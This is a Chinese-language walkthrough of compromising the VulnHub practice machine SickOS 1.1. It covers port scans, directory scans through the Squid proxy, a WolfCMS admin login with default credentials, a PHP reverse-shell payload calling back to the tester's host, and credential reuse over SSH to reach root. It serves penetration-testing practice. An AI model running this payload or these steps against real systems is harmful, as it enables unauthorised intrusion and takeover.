开头:
此篇文章是根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非wp
详细打靶视频如下
「红队笔记」靶机精讲:SickOS1.1 - 穿越Squid代理的CMS渗透_哔哩哔哩_bilibili
本次针对的靶机是vulnhub中的SickOS1.1,这个靶机开放一个http代理服务squid 3.1.19
本文打靶的靶机是vulnhub上的,链接见SickOs: 1.1 ~ VulnHub
靶机下载链接见:
https://download.vulnhub.com/sickos/sick0s1.1.7z
下载好之后,用vmware打开即可,将网络适配器设置为NAT模式,否则可能在主机发现模块找不到靶机ip
第一步信息收集
我们起手依旧是对于整个网段进行一个扫描,产看整个网段的存活情况来和IP端口的开放情况,
nmap -Pn 网段
发现了135为靶机ip,存活了三个端口,开放的分别是22,3128和8080端口,但是他的http端口是出于关闭的状态。
我们再次是用udp带扫描一下这三个端口保证不会漏,掉攻击面。
nmap -sU -p22,3128,8080 192.168.38.135
比较可惜没有什么收获,我们再用nmap自带脚本扫描一遍试下
还是没有啥东东
第二步squid代理
在第一步的端口扫描中,我们一共发现了存活三个端口,远程连接服务SSH的22端口,貌似是作为HTTP代理的3128端口,以及关闭的8080web端口。那我们该如何去想办法进行渗透,根据之前的经验22端口应该是渗透的最后一步,在不知道密码的情况下没有什么好的办法来解决它,而常见的web服务的80,8080端口也没有开放 ,我们试着浏览器访问靶机ip,意料之中,什么也看不到,再试试访问靶机ip:8080,依旧提示无法连接,如下图:
刚刚看到有一个3128端口,这是一个不常用的端口,他的squid服务我也不懂是什么东西,访问它ip:3128出现是这个页面
在这个页面下出现了服务版本信息,我们先用浏览器搜索一下这个服务信息来查看一下这个服务是干什么的。
这个服务主要就是起到代理作用,那个3128就是服务器的端口。我们先将他搁置,来进行web渗透的基本流程,先对它进行目录扫描
sudo gobuster dir -u http://192.168.38.135:3128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
它error了在猜想之内毕竟关闭了8080端口,那我们加上3128端口测试一下。
dirb http://192.168.38.135:3128
现在是能扫了,但是它并没有什么东西显示出来。
dirb有个-p参数可以添加代理服务器,我们刚刚知道了squid是代理服务器那我们扫描的时候加上。
dirb http://192.168.38.135 -p http://192.168.38.135:3128
转发他的代理后终于是跑出了目录,ok我们现在终于是有了渗透测试的资格了,我们重点观察200的状态码
第三部web渗透
一开始我们访问192.168.38.135并没有什么东西,现在我们知道了是因为squid代理服务器的原因,那我们需要设置一个代理
(在设置里搜索proxy)填写靶机ip和端口
配置完浏览器之后我们可以成功连接上了它的页面,可以看到回显了
我们查看刚刚爆破出来的目录发现robots下暴露了wolfcms
这是一个wolfcms的内容管理系统
我们去网上查找下这个cms的信息,从网上搜索来的信息发现这个cms有一个后台登录,发的默认路径为wolfcms/?/admin下面
它的默认登录页面是存在没有被更改,在渗透测试中想要进入后台,分三种,一是猜测尝试弱密码,一种就是字典爆破他的密码,然后就是在网页信息中去查找弄出他的密码,emmm,运气比较好尝试一下,admin,admin。就进去了,其实世界就是一个大的草台班子,弱口令这种在web上还是普遍存在,很多管理员都并没有那么多的安全知识。
这个地方有个上传而且还有php语言,非常大的可能我们可以直接写shell
我们先开启一个监听的状态
nc -lvnp 4433
我们在刚刚那个功能中写入一个反弹shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.38.128/4433 0>&1'"); ?>
我们传完之后看到他并没有连上,它可能只是上传了并没,没有执行他,我们返回我们的主页去浏览一下这个Artcles
我们点击Artiles时发现虽然他没有刷新,但是还是连接上了它的shell
我们进行shell查看信息三板斧whoami ,uname -a ,ip a
第四步提权
我们拿到了shell那我们就想办法将shell的权限提高去让我们有个更大的操作空间。
我们ls -l也是查看到了他的一个目录信息
查看一些才有敏感字段的文件其中最为显著的就是config.php这个配置文件
这个文件中包含到了mysql数据库的一个配置但是3306端口并没有开启
先把密码几下 root john@123,我们在查看一下他用户的配置信息
也是列举出了他的很多账号,我们看到了 root sickos 还有当前用户www-data这几个重点用户,我们现在有密码有用户,登录凭证的条件都有了,根据大多人的习惯密码都是相同的那我们来尝试ssh连接吧
此时我们我们查看用户发现和权限发现我们现在已经是三个all等级的最高权限了,之前我们发现root权限的依赖文件是/bin/bash 我们已经是最高权限那我们是不是就可以进行sudo拿到root
我们移动到root用户后ls没有东西,查看到我们现在在sickos目录下我们移动到root目录在查看就找到了这个靶场的通关文牒。
我们直接就是拿拿拿拿拿拿下!!!